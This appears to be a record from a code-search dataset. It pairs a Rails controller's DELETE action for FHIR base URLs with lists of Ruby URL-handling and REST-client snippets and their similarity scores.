APIHelper.append_url_with_template_parameters(\r\n ENVIRONMENTS[environment][server], parameters\r\n )\r\n end", "def set_uri(base, path)\n @uri = \"#{base}/#{path}/#{self.identifier}\"\n end", "def set_base_url(url)\n base_url = url\n end", "def with_base_url(base_url)\n @url_prefix = base_url\n self\n end", "def create_url\n \"#{api_url}/gists\"\n end", "def relative_url(input); end", "def uri_base\n \"http#{'s' if @options[:ssl]}://#{@options[:host]}\"\n end", "def resource_base_uri\n @resource ||= \"#{Hyperloop::Resource::ClientDrivers.opts[:resource_api_base_path]}/#{self.to_s.underscore.pluralize}\"\n end", "def base_url=(uri)\n @base_uri = uri\n end", "def uri\n raise InterfaceError, 'Base url is require to generate full uri.' unless @base_url\n return @base_url if @uri_parameters.nil? || @uri_parameters.empty?\n params_with_values = []\n @uri_parameters.each {|k,v| params_with_values << \"#{k}=#{v}\"}\n @base_url+'?'+params_with_values.join('&')\n end", "def base_url\n \"https://api.beezup.com/\"\n end", "def base_uri\n @base_uri = \"https://api.findface.pro/v0/\"\n end", "def set_base_uri(base_uri)\n if base_uri =~ /^https?:\\/\\//\n self.base_uri = base_uri\n else\n self.base_uri = \"https://#{self.hostname}/#{base_uri.delete_prefix('/')}\"\n end\n end", "def base_url\n \"https://api.yelp.com/v3/\"\n end", "def endpoints; end", "def update\n @fhir_base_url = FhirBaseUrl.find(params[:id])\n\n respond_to do |format|\n if @fhir_base_url.update_attributes(params[:fhir_base_url])\n format.html { redirect_to @fhir_base_url, notice: 'Fhir base url was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @fhir_base_url.errors, status: :unprocessable_entity }\n end\n end\n end", "def base_uri\n \"#{self.class.base_uri}/#{name}\"\n end", "def base_url\n \"http#{configuration[:secure] ? 's' : ''}://#{configuration[:api_url]}/v#{configuration[:api_version]}\"\n end", "def base_url\n \"http#{configuration[:secure] ? 's' : ''}://#{configuration[:api_url]}/v#{configuration[:api_version]}\"\n end", "def set_base_uri(uri)\n @base_api_uri = uri\n end", "def base_path=(base_path)\n @base_path = base_path\n end", "def api_url(url = '')\n configuration.api_base + url\n end", "def api_root\n root_url << '/api'\n end", "def api_url(path)\n return path if path.include?('//')\n \"#{api_root}/#{api_version}/#{tenancy_code}/#{path}\"\n end", "def base_api_uri\n \"#{self.class.base_uri}/#{@account_id}\"\n end", "def base_url\n @base_url||=@options['base_url']\n end", "def extended_url base_url, relative_url\n while base_url =~ /\\/$/\n base_url = base_url[0..-2]\n end\n while relative_url =~ /^\\//\n relative_url = relative_url[1..-1]\n end\n base_url + '/' + relative_url\n end", "def rewrite_local_urls(response_html) # :nodoc:\n if base_url\n doc = Nokogiri::HTML::Document.parse response_html\n if head = doc.xpath(\"//head\").first\n base = Nokogiri::HTML::DocumentFragment.parse \"<base href=\\\"#{base_url}\\\">\"\n head.child && head.child.add_previous_sibling(base)\n doc.to_html\n else\n response_html\n end\n elsif doc_root\n # TODO: replace with nokogiri calls\n response_html.gsub(/\"\\/([^\"]*)\"/, %{\"#{doc_root}} + '/\\1\"')\n else\n response_html\n end\n end", "def base_uri\n \"#{api}/map_type\"\n end", "def create url\n function = ''\n \n post_data = {}\n post_data[:url] = url\n\n request(@resource, function, nil, 'post', post_data)\n end", "def show\n @fhir_base_url = FhirBaseUrl.find(params[:id])\n\n respond_to do |format|\n format.html { redirect_to :action => :edit }\n format.json { render json: @fhir_base_url }\n end\n end", "def base_url\n context[:base_url] || \"/\"\n end", "def base_url\n @url.to_s.split('?').first\n end", "def api_path\n @api_path ||= find_api_path(base_uri)\n end", "def base_url\n \"http://#{@host}:#{@port}\"\n end", "def base_url\n File.join(host, path)\n end", "def base_uri\n @options[:base_uri]\n end", "def base_uri\n @options[:base_uri]\n end", "def base_uri\n ary = contents_uri.to_s.split(\"/\")\n ary.pop if ary[-1].blank?\n ary.pop\n ary.join(\"/\") + \"/\"\n end", "def create_url\n uri = Addressable::URI.new\n uri.query_values = properties\n \"#{ BASE_URI }#{ Hubspotter.configuration.portal_id }#{ create_endpoint }#{ uri.query }\"\n end", "def api_create_url\n \"#{self.name.split(\"::\").last.downcase}\"\n end", "def endpoint_url\n # @@api_base + @request.endpoint\n ApiBase + @endpoint\n end" ]
[ "0.647281", "0.5907034", "0.5837732", "0.5816133", "0.56918824", "0.56825995", "0.56635875", "0.5544441", "0.5533057", "0.5531832", "0.55203277", "0.55153286", "0.54954576", "0.54795194", "0.54064965", "0.54005194", "0.5389489", "0.5383957", "0.5330269", "0.5329335", "0.53263587", "0.5322556", "0.53029364", "0.52879107", "0.5282082", "0.5279678", "0.5271449", "0.52553266", "0.5250205", "0.52419174", "0.5229455", "0.52179873", "0.5216416", "0.52043444", "0.52013826", "0.51902854", "0.5189838", "0.5188734", "0.5168289", "0.51395726", "0.5132739", "0.51245093", "0.50999653", "0.5098558", "0.5098558", "0.5092725", "0.5088826", "0.50872767", "0.5086243", "0.5079163", "0.5066855", "0.50661093", "0.5059179", "0.50541306", "0.5046205", "0.5044988", "0.50382817", "0.50241476", "0.501693", "0.5016389", "0.50080454", "0.50008065", "0.49967512", "0.49955764", "0.4982628", "0.49800196", "0.49716675", "0.4968934", "0.49579442", "0.49527833", "0.4950177", "0.4948866", "0.49431172", "0.4942756", "0.49424326", "0.4942135", "0.4942135", "0.49405053", "0.4935108", "0.49334604", "0.49091095", "0.49043587", "0.48949936", "0.48904392", "0.48896185", "0.4885633", "0.48822123", "0.48821887", "0.48817846", "0.48796144", "0.4878271", "0.48768526", "0.4874136", "0.48733017", "0.4852032", "0.4852032", "0.4849493", "0.48418733", "0.48410782", "0.48394102" ]
0.65894955
0
PUT /fhir_base_urls/1 PUT /fhir_base_urls/1.json
def update @fhir_base_url = FhirBaseUrl.find(params[:id]) respond_to do |format| if @fhir_base_url.update_attributes(params[:fhir_base_url]) format.html { redirect_to @fhir_base_url, notice: 'Fhir base url was successfully updated.' } format.json { head :no_content } else format.html { render action: "edit" } format.json { render json: @fhir_base_url.errors, status: :unprocessable_entity } end end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def update\n @base_url = BaseUrl.find(params[:id])\n\n respond_to do |format|\n if @base_url.update_attributes(params[:base_url])\n format.html { redirect_to @base_url, notice: 'Base url was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @base_url.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @fhir_base_url = FhirBaseUrl.new(params[:fhir_base_url])\n\n respond_to do |format|\n if @fhir_base_url.save\n format.html { redirect_to @fhir_base_url, notice: 'Fhir base url was successfully created.' }\n format.json { render json: @fhir_base_url, status: :created, location: @fhir_base_url }\n else\n format.html { render action: \"new\" }\n format.json { render json: @fhir_base_url.errors, status: :unprocessable_entity }\n end\n end\n end", "def put_path(base_path, payload)\n url = \"#{endpoint}/paths#{base_path}\"\n put_json(url, payload)\n end", "def set_uri(base, path)\n @uri = \"#{base}/#{path}/#{self.identifier}\"\n end", "def base_href\n '/api/v1'\n end", "def rewrite_iiif_base_uri(info_original)\n parsed_json = JSON.parse(info_original)\n public_base_uri = \"#{ENV['IIIF_SERVER_URL']}#{trailing_slash_fix}#{identifier}\"\n parsed_json[\"@id\"] = public_base_uri\n JSON.generate(parsed_json)\n end", "def base_url_path=(_arg0); end", "def base_path\n \"/api/v1\"\n end", "def with_base_url(path)\n u = @url.dup\n u.path += Puppet::Util.uri_encode(path)\n u\n end", "def complete_url(url, base)\n if url.start_with?(\"/\")\n resource_uri = base + url\n else\n resource_uri = url\n end \n return resource_uri\n end", "def set_base_url(num = 0)\n return nil if num >= @api_servers.size\n @base_url = @api_servers[num]\n end", "def index\n @fhir_base_urls = FhirBaseUrl.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @fhir_base_urls }\n end\n end", "def create_url(subpath='')\n paths = [ api_version, resources_path, subpath ]\n paths.select{|s| s != ''}.join('/')\n end", "def base_uri=(new_base_uri)\n @base_uri = new_base_uri\n end", "def set_base_url(url)\r\n @http_client.base_url = url\r\n end", "def rebase_hrefs(input, base_uri)\n Utils.rebase_hrefs(input, base_uri) rescue input\n end", "def set_base_uri(base_uri)\n if base_uri =~ /^https?:\\/\\//\n self.base_uri = base_uri\n else\n self.base_uri = \"https://#{self.hostname}/#{base_uri.delete_prefix('/')}\"\n end\n end", "def new\n @fhir_base_url = FhirBaseUrl.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @fhir_base_url }\n end\n end", "def create\n @base_url = BaseUrl.new(params[:base_url])\n\n respond_to do |format|\n if @base_url.save\n format.html { redirect_to @base_url, notice: 'Base url was successfully created.' }\n format.json { render json: @base_url, status: :created, location: @base_url } \n else\n format.html { render action: \"new\" }\n format.json { render json: @base_url.errors, status: :unprocessable_entity }\n end\n end\n end", "def make_url(apipath)\n @base_url + \"/api/open-v1.0/\" + apipath\n end", "def update(url, data)\n RestClient.put url, data, :content_type => :json\nend", "def api_base=(value)\n @api_base = value\n end", "def api_base=(value)\n @api_base = value\n end", "def set_url\n self.update_column(:url, '/' + self.ancestry_url)\n end", "def base_path=(base_path)\n @base_path = base_path\n end", "def base_uri(value)\n @document_builder.base_uri = value\n end", "def update_url(url)\n assert_type(url, Wgit::Url)\n selection = { url: url }\n url_hash = Wgit::Model.url(url).merge(Wgit::Model.common_update_data)\n update = { '$set' => url_hash }\n mutate(true, :urls, selection, update)\n end", "def destroy\n begin\n @fhir_base_url = FhirBaseUrl.find(params[:id])\n @fhir_base_url.destroy\n rescue ActiveRecord::DeleteRestrictionError\n flash[:\"alert-danger\"] = \"Could not delete the URL because there are resources assigned to it.\"\n redirect_to resources_path\n return\n end\n\n respond_to do |format|\n format.html { redirect_to fhir_base_urls_url }\n format.json { head :no_content }\n end\n end", "def base_uri=(iri)\n @options[:base_uri] = RDF::URI(iri)\n end", "def named_url(url, key)\n raise KeyRequiredError(\"Key required for named short URLs\") unless key\n request('PUT', \"#{@uri.request_uri}#{key}\", url)\n end", "def base_url\n 'http://ow.ly/api/1.1/url/shorten'\n end", "def show\n @fhir_base_url = FhirBaseUrl.find(params[:id])\n\n respond_to do |format|\n format.html { redirect_to :action => :edit }\n format.json { render json: @fhir_base_url }\n end\n end", "def change_base_url_to(url)\n puts \"Changing Base URL to #{url}..\"\n config = YAML.load_file('./config.yaml')\n config['base_url'] = url\n File.open('./config.yaml', 'w') do |file|\n file.write(config.to_yaml)\n end\nend", "def change_base_url_to(url)\n puts \"Changing Base URL to #{url}..\"\n config = YAML.load_file('./config.yaml')\n config['base_url'] = url\n File.open('./config.yaml', 'w') do |file|\n file.write(config.to_yaml)\n end\nend", "def change_base_url_to(url)\n puts \"Changing Base URL to #{url}..\"\n config = YAML.load_file('./config.yaml')\n config['base_url'] = url\n File.open('./config.yaml', 'w') do |file|\n file.write(config.to_yaml)\n end\nend", "def api_url(url)\n uri = URI(url.to_s)\n\n uri.scheme = server_uri.scheme if uri.scheme.nil?\n uri.host = server_uri.host if uri.host.nil?\n\n # prepend '/api/<version>/' to path if not provided\n unless uri.path =~ /^\\/api\\/\\d+\\//\n uri.path = File.join('/api', version.to_s, uri.path)\n end\n\n uri.to_s\n end", "def set_base_url(url)\n base_url = url\n end", "def url=(_); end", "def api_url(path)\n return path if path.include?('//')\n \"#{api_root}/#{api_version}/#{tenancy_code}/#{path}\"\n end", "def baseurl=(_arg0); end", "def set_base_uri(uri)\n @base_api_uri = uri\n end", "def update\n @base_value = BaseValue.find(params[:id])\n\n if @base_value.update(params[:base_value])\n head :no_content\n else\n render json: @base_value.errors, status: :unprocessable_entity\n end\n end", "def update!(**args)\n @uris = args[:uris] if args.key?(:uris)\n end", "def update!(**args)\n @uris = args[:uris] if args.key?(:uris)\n end", "def url(path)\n \"#{self.api_root}/#{self.api_version}/#{self.tenancy_code}/#{path}\"\n end", "def endpoint\n \"#{base_url}#{base_url =~ /\\/$/ ? '' : '/'}/api/v3\"\n end", "def endPoint(path='')\n parts = ['https:/', $cfg['net.host'], 'api:1'] + @uriparts\n s = parts.map{|v| v.to_s}.join('/')\n URI(s + path.to_s)\n end", "def put(href, additional_parameters = {})\n rest_connect do |base_uri, headers|\n href = \"#{base_uri}/#{href}\" unless begins_with_slash(href)\n new_path = URI.escape(href)\n req = Net::HTTP::Put.new(new_path, headers) \n req.set_content_type('application/json')\n req.body = additional_parameters.to_json\n req\n end\n end", "def base_uri\n\t\t\t\"#{server}/api/v4\"\n\t\tend", "def update!(**args)\n @uri_prefix = args[:uri_prefix] if args.key?(:uri_prefix)\n end", "def base_url=(uri)\n @base_uri = uri\n end", "def base_uri(value)\n @config[:base_uri] = value\n end", "def remap_url(original_url)\n return original_url if self.class.service_name == \"tfs\"\n \n server_uri = URI(data.server_url)\n \n uri = URI(original_url)\n uri.scheme = server_uri.scheme\n uri.host = server_uri.host\n uri.port = server_uri.port\n uri.to_s\n end", "def base_url_path; end", "def create_api\n\n @url = Url.new(:url => params[:url])\n\n if @url.save\n url_hash = Hash.new\n\n url_hash[:short_url] = root_url.to_s() + \"urls_api/\" + (@url.id).to_s(36)\n url_hash[:url] = @url.url\n\n render :json => url_hash.to_json\n end\n\n end", "def base_url\n BASE_URL.dup % [\"%s\", \"%s\", @api_key, \"%s\"] \n end", "def base_uri\t\t\t\n\t\tURI.parse( \"http://\" + @factory.site_name + \".\" + @factory.api_host_base + @path )\n\tend", "def api_path(path)\n \"#{options[:base_path]}/#{path}\" || \"/#{path}\"\n end", "def update_short_url\n uniq_key = Digest::MD5.hexdigest(\"#{self.id()}\").slice(0..6) \n update_column(:short_url, BASE_SHORT_URL + uniq_key)\n true\n end", "def base=(b)\n b = Addressable::URI.parse(b.to_s)\n b.fragment = nil\n @base = b.to_s\n end", "def url=(new_url)\n super(new_url)\n unless URI.parse(self.url).scheme\n self.url.prepend(\"http://\")\n end\n rescue\n end", "def baseurl; end", "def set_url\n url 'set'\n end", "def api_base_url; @opts[:api_base_url]; end", "def method_base=(new_method_base)\n @method_base = Addressable::URI.parse(new_method_base)\n @uri_template = nil\n end", "def url= new_url\n new_url = self.class.standardized_url new_url\n return if new_url == url\n super new_url # Heading for trouble if url wasn't unique\n @indexing_url = nil # Clear the memoized indexing_url\n self.http_status = nil # Reset the http_status\n # We do NOT build the associated site here, because we may be BUILDING the page_ref for a site, in\n # which case that site will assign itself to us. Instead, the site attribute is memoized, and if it\n # hasn't been built by the time that it is accessed, THEN we find or build an appropriate site\n self.site = SiteServices.find_or_build_for self\n self.kind = :site if site&.page_ref == self # Site may have failed to build\n # We trigger the site-adoption process if the existing site doesn't serve the new url\n # self.site = nil if site&.persisted? && (SiteServices.find_for(url) != site) # Gonna have to find another site\n request_attributes :url # Trigger gleaning and mercury_result to validate/modify url\n attrib_ready! :url # Has been requested but is currently ready\n end", "def update_uri(p)\n update_attribute(:uri_actual, p)\n end", "def with_base_url(base_url)\n @url_prefix = base_url\n self\n end", "def update\n \n\n @client.redirect_urls << client_params[:add_redirect_url] if client_params[:add_redirect_url]\n \n @client.app_ids << BSON::ObjectId.new.to_s if client_params[:add_app_id]\n \n \n @client.versioned_update({\"redirect_urls\" => 1, \"app_ids\" => 1})\n\n if @client.op_success?\n render \"show\"\n else\n render \"edit\"\n end\n \n end", "def api_endpoint=(value)\n @api_endpoint = value\n end", "def method_base=(new_method_base)\n @method_base = Addressable::URI.parse(new_method_base)\n self.discovered_resources.each do |resource|\n resource.method_base = @method_base\n end\n self.discovered_methods.each do |method|\n method.method_base = @method_base\n end\n end", "def uri_base\n \"http#{'s' if @options[:ssl]}://#{@options[:host]}\"\n end", "def url_with_api_version(*paths)\n path = File.join(*paths) << \"?api-version=#{api_version}\"\n end", "def hyperlink_base=(v)\n Axlsx.validate_string v\n @hyperlink_base = v\n end", "def get_api_url_for(path)\n\t\treturn ('https://api.spotify.com' << path)\n\tend", "def update_tenant_circle(args = {}) \n put(\"/tenantcircles.json/#{args[:circleId]}\", args)\nend", "def create\n @url = Url.create_update_with(url_params)\n @short_url = \"#{request.host_with_port}/#{@url.short_url}\"\n redirect_to root_path(short_url: @short_url)\n end", "def normalize_url(value)\n svalue = value.to_s\n pref = @req.api_prefix\n suffix = @req.api_suffix\n svalue.match(pref) ? svalue : \"#{pref}/#{svalue}#{suffix}\"\n end", "def update!(**args)\n @uri = args[:uri] if args.key?(:uri)\n end", "def update!(**args)\n @uri = args[:uri] if args.key?(:uri)\n end", "def update!(**args)\n @uri = args[:uri] if args.key?(:uri)\n end", "def update!(**args)\n @uri = args[:uri] if args.key?(:uri)\n end", "def update!(**args)\n @uri = args[:uri] if args.key?(:uri)\n end", "def update!(**args)\n @uri = args[:uri] if args.key?(:uri)\n end", "def update!(**args)\n @uri = args[:uri] if args.key?(:uri)\n end", "def update!(**args)\n @uri = args[:uri] if args.key?(:uri)\n end", "def update!(**args)\n @uri = args[:uri] if args.key?(:uri)\n end", "def update!(**args)\n @uri = args[:uri] if args.key?(:uri)\n end", "def update!(**args)\n @uri = args[:uri] if args.key?(:uri)\n end", "def update!(**args)\n @uri = args[:uri] if args.key?(:uri)\n end", "def update!(**args)\n @uri = args[:uri] if args.key?(:uri)\n end", "def update!(**args)\n @uri = args[:uri] if args.key?(:uri)\n end", "def update!(**args)\n @uri = args[:uri] if args.key?(:uri)\n end", "def update!(**args)\n @uri = args[:uri] if args.key?(:uri)\n end", "def api_uri=(api_uri)\n @api_uri = \"#{api_uri}/\" unless api_uri[api_uri.size - 1, 1] == '/'\n @api_uri\n end", "def uri\n @uri_parameters = {:s => @company}\n super() \n end", "def full_shortened_url(base)\n base + '/' + short_url\n end", "def base_uri=(uri)\n # If the baseUri does not end with a slash, we must add it\n uri += '/' unless uri[-1] == '/'\n @base_uri = uri\n end", "def base_url\n \"http#{configuration[:secure] ? 's' : ''}://#{configuration[:api_url]}/v#{configuration[:api_version]}\"\n end", "def base_url\n \"http#{configuration[:secure] ? 's' : ''}://#{configuration[:api_url]}/v#{configuration[:api_version]}\"\n end" ]
[ "0.60500896", "0.6005032", "0.5930877", "0.57847446", "0.57821643", "0.5653477", "0.55667156", "0.55542773", "0.5554221", "0.55478483", "0.5534516", "0.55053484", "0.54694843", "0.54195803", "0.54020816", "0.5352201", "0.5344933", "0.5333442", "0.53221613", "0.5319447", "0.53047365", "0.5291447", "0.5291447", "0.52841073", "0.5269198", "0.52436185", "0.5243504", "0.52357", "0.5231841", "0.5220627", "0.5218275", "0.5214379", "0.5190366", "0.5190366", "0.5190366", "0.51880467", "0.51874894", "0.5187289", "0.51872545", "0.51836985", "0.5176283", "0.5173334", "0.5171229", "0.5171229", "0.51562566", "0.5151091", "0.51336634", "0.51333946", "0.51247346", "0.5117977", "0.5093556", "0.5082453", "0.50814354", "0.5081087", "0.50801224", "0.5061726", "0.50599176", "0.5051969", "0.5045762", "0.5041603", "0.50303495", "0.501682", "0.5006532", "0.5001743", "0.49996305", "0.49952087", "0.49886298", "0.49876955", "0.4978691", "0.49712512", "0.49620593", "0.49609745", "0.4957326", "0.49555263", "0.49480677", "0.49425647", "0.4942014", "0.49411288", "0.4937091", "0.4937091", "0.4937091", "0.4937091", "0.4937091", "0.4937091", "0.4937091", "0.4937091", "0.4937091", "0.4937091", "0.4937091", "0.4937091", "0.4937091", "0.4937091", "0.49366468", "0.49358886", "0.49328107", "0.49325806", "0.49273992", "0.49247614", "0.49204284", "0.49204284" ]
0.68342924
0
DELETE /fhir_base_urls/1 DELETE /fhir_base_urls/1.json
def destroy begin @fhir_base_url = FhirBaseUrl.find(params[:id]) @fhir_base_url.destroy rescue ActiveRecord::DeleteRestrictionError flash[:"alert-danger"] = "Could not delete the URL because there are resources assigned to it." redirect_to resources_path return end respond_to do |format| format.html { redirect_to fhir_base_urls_url } format.json { head :no_content } end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def destroy\n @base_url = BaseUrl.find(params[:id])\n @base_url.destroy\n\n respond_to do |format|\n format.html { redirect_to base_urls_url }\n format.json { head :no_content }\n end\n end", "def delete; rest_delete(link('self')); end", "def delete; rest_delete(link('self')); end", "def delete\n delete_from_server single_url\n end", "def delete(path)\n RestClient.delete request_base+path\n end", "def delete()\n @api.do_request(\"DELETE\", get_base_api_path())\n end", "def delete()\n @api.do_request(\"DELETE\", get_base_api_path())\n end", "def delete()\n @api.do_request(\"DELETE\", get_base_api_path())\n end", "def delete()\n @api.do_request(\"DELETE\", get_base_api_path())\n end", "def destroy\n @basis = Base.find(params[:id])\n @basis.destroy\n\n respond_to do |format|\n format.html { redirect_to bases_url }\n format.json { head :no_content }\n end\n end", "def destroy_intent(base_path)\n delete_json(intent_url(base_path))\n rescue GdsApi::HTTPNotFound => e\n e\n end", "def delete\n api_client.delete(url)\n end", "def delete\n Iterable.request(conf, base_path).delete\n end", "def delete!\n Recliner.delete(uri)\n end", "def delete_json(path)\n url = [base_url, path].join\n resp = HTTParty.delete(url, headers: standard_headers)\n parse_json(url, resp)\n end", "def delete\n client.delete(url)\n @deleted = true\nend", "def destroy\n @sampled_url = SampledUrl.find(params[:id])\n @sampled_url.destroy\n\n respond_to do |format|\n format.html { redirect_to sampled_urls_url }\n format.json { head :no_content }\n end\n end", "def delete endpoint\n do_request :delete, endpoint\n end", "def test_del\n header 'Content-Type', 'application/json'\n\n data = File.read 'sample-traces/0.json'\n post('/traces', data, 'CONTENT_TYPE': 'application/json')\n\n id = last_response.body\n\n delete \"/traces/#{id}\"\n assert last_response.ok?\n\n get \"/traces/#{id}\"\n\n contents = JSON.parse last_response.body\n assert_kind_of(Hash, contents, 'Response contents is not a hash')\n assert contents.key? 'description'\n assert(!last_response.ok?)\n end", "def delete(*uris); end", "def delete\n client.delete(\"/#{id}\")\n end", "def destroy\n\t\tarray_of_short_urls = params[:id].split(\",\")\n\t\t@urls = UrlGenerator.where(encoded_url:array_of_short_urls)\n\t\tif @urls.empty?\n\t\t\trender json:{error:\"not found\"}\n\t\telse\n\t\t\t@urls.destroy_all\n\t\t\trender json:{notice:\"successfully destroyed\"}\n\t\tend\n\tend", "def delete(_url)\n # do nothing since we can't find the key by url\n end", "def delete\n RestClient.delete(url, @header) do |rso, req, res|\n setup(rso, req, res)\n end\n end", "def do_delete(uri = \"\")\n @connection.delete do |req|\n req.url uri\n req.headers['Content-Type'] = 'application/json'\n end\n end", "def webhelper_delete_all_apps (username, password, base_url = @base_url)\r\n private_resource = RestClient::Resource.new base_url + \"/api/v1/apps\" , {:user => username , :password => password , :timeout => 30}\r\n response = private_resource.get :accept => :json\r\n json = JSON.parse(response)\r\n json['apps'].each do |i|\r\n url = base_url + i['link']\r\n private_resource = RestClient::Resource.new url , {:user => username , :password => password , :timeout => 30}\r\n response = private_resource.delete \r\n puts response.to_str\r\n end\r\n end", "def delete(splat)\n bad_request if splat.empty?\n _delete resolve_uri(splat[0])\n end", "def destroy\n @uriy.destroy\n respond_to do |format|\n format.html { redirect_to uriys_url }\n format.json { head :no_content }\n end\n end", "def destroy\n RestClient.delete \"#{REST_API_URI}/contents/#{id}.xml\" \n self\n end", "def delete_short_url\n\t\turl_id = get_id_from_short_url params[:short_url]\n\t\turl = Url.find(url_id)\n\t\tcurrent_page_url = \"/urls/show_short_urls\"\n\n\t\turl.destroy\n respond_to do |format|\n format.html { redirect_to current_page_url, notice: 'url is successfully Deleted.' }\n format.json { head :no_content }\n end\n\tend", "def destroy\n @url.destroy\n respond_to do |format|\n format.html { redirect_to urls_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @url.destroy\n respond_to do |format|\n format.html { redirect_to urls_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @fullurl.destroy\n respond_to do |format|\n format.html { redirect_to fullurls_url, notice: 'Fullurl was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def delete\n ensure_client && ensure_uri\n response = @client.rest_delete(@data['uri'], { 'Accept-Language' => 'en_US' }, @api_version)\n @client.response_handler(response)\n true\n end", "def destroy\n @url = ShortenedUrl.find(params[:id])\n @url.destroy\n\n respond_to do |format|\n format.html { redirect_to shortened_url_index_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @known_url.destroy\n respond_to do |format|\n format.html { redirect_to known_urls_url }\n format.json { head :no_content }\n end\n end", "def destroy\n if @short_url.destroy\n render json: { status: \"Deleted\" }\n else\n render json: { head: \"no content\" }\n end \n end", "def delete(*args)\n url, subdomain, path, = parse_args(*args)\n rewrap_errors do\n RestClient.delete(build_url(url || subdomain, path), headers)\n end\n end", "def delete(url, headers={})\n RestClient.delete url, headers\n end", "def delete\n client.delete(url)\n @deleted = true\n end", "def destroy\n @url = Url.find(params[:id])\n @url.destroy\n\n respond_to do |format|\n format.html { redirect_to urls_url }\n format.json { head :no_content }\n end\n end", "def delete_tenant_circle(args = {}) \n delete(\"/tenantcircles.json/#{args[:circleId]}\", args)\nend", "def delete\n res = HTTParty.get URL, headers: HEADERS\n message = JSON.parse res.body, symbolize_names: true\n if res.code == 200\n numSubs = message[:data].count\n if numSubs > 0\n message[:data].each do |sub|\n id = sub[:id]\n delRes = HTTParty.delete \"#{URL}/#{id}\", headers: HEADERS\n #TODO handle status codes\n end\n end\n end\n end", "def delete(url, headers = {})\n http :delete, \"#{url}.json\", headers\n end", "def destroy\n client=Client.find_by_id(params[:id])\n if client != nil\n if client.destroy\n head 204\n end\n else\n head 404\n end\n end", "def destroy\n @urlshortner.destroy\n respond_to do |format|\n format.html { redirect_to urlshortners_url }\n format.json { head :no_content }\n end\n end", "def destroy\n return if new_record?\n \n @api.delete \"/items/#{shortcode_url}.json\"\n end", "def delete_elasticsearch_addressbase_data\n uri = URI.parse(\"#{$ELASTIC_SEARCH_ENDPOINT}/\")\n conn = Net::HTTP.new(uri.host, uri.port)\n request = Net::HTTP::Delete.new \"#{$ELASTICSEARCH_ADDRESSBASE}\"\n request['Content-Type'] = 'application/json'\n conn.request(request)\nend", "def destroy\n @base_value = BaseValue.find(params[:id])\n @base_value.destroy\n\n head :no_content\n end", "def destroy\n @helibase = Helibase.find(params[:id])\n @helibase.destroy\n\n respond_to do |format|\n format.html { redirect_to(helibases_url) }\n format.xml { head :ok }\n end\n end", "def delete\n conn = @client.authorized_connection(url: @client.object_api_url)\n res = conn.delete do |req|\n req.url resource_uri\n end\n if res.success?\n data = JSON.parse(res.body)\n reload\n else\n nil\n end\n end", "def destroy\n bin_url = @request.bin.url\n\n @request.destroy\n respond_to do |format|\n format.html do\n redirect_to \"/bins/#{bin_url}\",\n notice: 'Request was successfully destroyed.'\n end\n format.json { head :no_content }\n end\n end", "def destroy\n @url_connector = UrlConnector.find(params[:id])\n @url_connector.destroy\n\n respond_to do |format|\n format.html { redirect_to url_connectors_url }\n format.json { head :no_content }\n end\n end", "def delete(resource)\n headers = base_headers.merge('Content-Type' => 'application/json')\n url = \"#{@base_url}/#{resource}\"\n\n @logger.debug(\"DELETE request Url: #{url}\")\n @logger.debug(\"-- Headers: #{headers}\")\n\n x = HTTParty.delete(url, headers: headers)\n puts x.inspect\n x\n end", "def destroy\n @hub.destroy\n\n respond_to do |format|\n format.html { redirect_to hubs_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @shebao_base.destroy\n respond_to do |format|\n format.html { redirect_to shebao_bases_url, notice: 'Shebao base was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @api_state.destroy\n\n head :no_content\n end", "def delete\n url = prefix + \"delete\"\n return response(url)\n end", "def delete\n url = prefix + \"delete\"\n return response(url)\n end", "def delete_aos_version(args = {}) \n delete(\"/aosversions.json/#{args[:aosVersionId]}\", args)\nend", "def destroy\n @bio_url.destroy\n respond_to do |format|\n format.html { redirect_to bio_urls_url, notice: 'Bio url was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def delete\n raise \"Can't delete a resource without a REST Client\" unless @client\n @client.delete @path\n end", "def delete\n raise \"Can't delete a resource without a REST Client\" unless @client\n @client.delete @path\n end", "def destroy\n @hdfs_path = HdfsPath.find(params[:id])\n @hdfs_path.destroy\n\n respond_to do |format|\n format.html { redirect_to hdfs_paths_url }\n format.json { head :ok }\n end\n end", "def api_delete_url(id)\n \"#{self.name.split(\"::\").last.downcase}s/#{id}\"\n end", "def destroy\r\n @fan_base = FanBase.find(params[:id])\r\n @fan_base.destroy\r\n\r\n respond_to do |format|\r\n format.html { redirect_to fan_bases_url }\r\n format.json { head :ok }\r\n end\r\n end", "def destroy\n @shortened_url.destroy\n respond_to do |format|\n format.html { redirect_to shortened_urls_url, notice: 'Shortened url was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def delete_json(url)\n JSON.parse(delete(url, :json, :json))\n end", "def delete(href, additional_parameters = {})\n rest_connect do |base_uri, headers|\n href = \"#{base_uri}/#{href}\" unless begins_with_slash(href)\n new_path = URI.escape(href)\n req = Net::HTTP::Delete.new(href, headers)\n req.set_content_type('application/json')\n req.body = additional_parameters.to_json\n req\n end\n end", "def destroy\n#status_url(Status.find_by_survey_id(protocol.access_code)\n #@p = ResponseSet.where(:user_id => current_user)\n #@protocol = user_id.find_by_survey_id(protocol.access_code)\n #@p = ResponseSet.where(:question_id => @title_questions).first.string_value\n p= ResponseSet.where(:access_code => params[:id])\n p.first.destroy\n \n\n respond_to do |format|\n format.html { redirect_to :back }\n format.json { head :no_content }\n end\n end", "def destroy\n @herb = Herb.find_by_permalink(params[:id])\n @herb.destroy\n\n respond_to do |format|\n format.html { redirect_to herbs_url }\n format.json { head :no_content }\n end\n end", "def delete(_url)\n raise NotImplementedError, 'Implement this method in your strategy'\n end", "def delete(url)\n do_request(\"delete\", url)\n end", "def destroy\n @http_domain_rule = collection.find(params[:id])\n @http_domain_rule.destroy\n\n respond_to do 